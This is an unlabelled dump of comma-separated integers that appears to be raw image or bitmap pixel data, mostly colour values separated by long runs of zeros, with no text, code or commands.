5,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,26256,14417919,16777215,16777142,9452032,0,0,0,0,0,0,0,58,3815936,0,0,0,0,3827382,14417919,16777215,11953664,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,26294,16777215,16777179,9463354,0,0,58,9493503,16777215,16758374,0,0,14992,14417919,16777215,11953722,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,58,6731519,16777215,16767888,3801088,0,0,0,58,3816038,9483995,14417919,16777215,16777142,6684672,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6721638,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767888,3801088,0,0,0,0,0,3838171,16777215,11953664,58,9493503,16777215,16777215,11953766,9493503,16777142,6684672,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,58,6721755,16777215,16777215,11953664,0,58,9493503,16777215,16777179,9463354,0,0,0,0,14906,3801088,0,3838171,16777215,14389306,0,0,14906,6731483,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767888,6699520,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,6731519,16777215,16767926,6699520,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,3838171,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,3827382,11953722,3801088,0,0,0,14950,9493503,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,0,0,14992,14417919,16767888,9474267,16777215,14389306,0,0,0,0,3838171,16777215,14389392,11993087,11953664,102,11993087,11964560,14417919,16758374,0,0,58,9493503,16777215,11953664,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,58,6721755,16777215,16777215,11953664,0,0,102,11993087,16777215,16777179,9463354,0,0,0,14906,3801088,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,6731519,16777215,16767888,3801088,0,58,3815994,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16777142,6699520,0,0,14950,11993087,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,14950,11983871,16777215,16758374,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,3801088,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,0,0,14992,14417919,16767888,6721755,16777215,14389306,0,0,0,0,26294,16777215,14399158,14417846,6684672,102,11993051,9474230,16777215,11953664,0,0,0,14992,14417919,16777179,9452032,102,11993087,16777215,14389306,0,0,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,58,9493503,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,102,11993087,16777215,16777179,9463398,9493503,14389306,0,14906,3801088,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,14950,11993087,16777179,9452032,0,14906,3815994,0,58,9493503,16777215,11953722,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,3827344,9483995,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953722,0,0,0,0,14950,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953722,0,0,0,0,14950,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11974326,11974326,11974326,11974326,11974326,11974326,11974326,11974326,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14399078,3815994,3816038,11983871,16777215,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767926,6684672,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16767926,6710928,11983871,16767888,3815936,0,0,0,0,0,0,0,58,6731483,16777179,11953664,0,0,0,0,0,0,102,11993087,16767926,6710928,11983871,16767888,3815936,0,0,58,9493503,16777215,16777179,11953722,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,16767963,14408667,14408703,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777179,9463354,0,0,0,0,14906,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,14906,6731483,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,14992,14417883,9452032,0,0,0,0,102,11983871,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399078,3801088,0,0,0,0,6731519,16777215,14389306,0,3815994,0,0,3838171,16777215,16767888,3801190,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,6731519,16777215,11953664,0,102,11993051,14408703,16777215,14389350,3801088,0,0,0,102,11993087,16777215,16777179,9463354,0,0,0,14906,3801088,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777179,9452032,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777179,9452032,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14417919,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,102,11993087,16777179,14399158,11983871,16777215,14389306,0,6731519,16777215,16777215,16767963,14408703,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953722,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777179,14408703,16777215,16777215,14399078,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,26294,16777215,16777215,14408667,14408667,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777179,14408667,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,16777215,16777179,14408667,16777215,16777215,16777142,6684672,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,58,9493503,16777215,16777215,16767963,14408667,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,0,0,26294,16777215,16758374,0,0,14906,3801088,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,14950,11983871,16777215,16777215,16777215,14408667,14408667,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14399078,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,16777215,16777179,14408667,14408703,16777215,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11993087,16777215,16777215,16767963,14408703,16777215,16777215,16758374,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16777179,9452032,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,3838171,16777215,16777215,16777179,14408667,14408703,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16777215,16777179,9452032,58,9493503,16777215,16777215,16758374,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,26294,16777215,16777215,14408667,14408667,16777215,16777215,16777179,11953722,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11993087,16777215,16777215,16767963,14417919,16777142,9474267,16777215,14389306,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,102,11993087,16777215,16777215,16767963,14417919,16777142,11974399,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767888,3801088,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16767963,14408703,16777179,14408703,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,14992,14417919,16777215,16777142,6684672,58,9493503,16777215,16777215,11953664,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,3827344,9452032,0,0,0,0,0,0,58,9474150,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14408630,9463398,6710886,9483995,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731519,16758374,3801088,0,0,6731483,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14408630,9463398,6710886,9483995,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14399158,14417919,16777215,16777215,16767926,11983871,16777215,16777215,16758416,3801088,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767926,6684672,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777179,11964518,6710886,6699578,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,11953664,0,0,3838171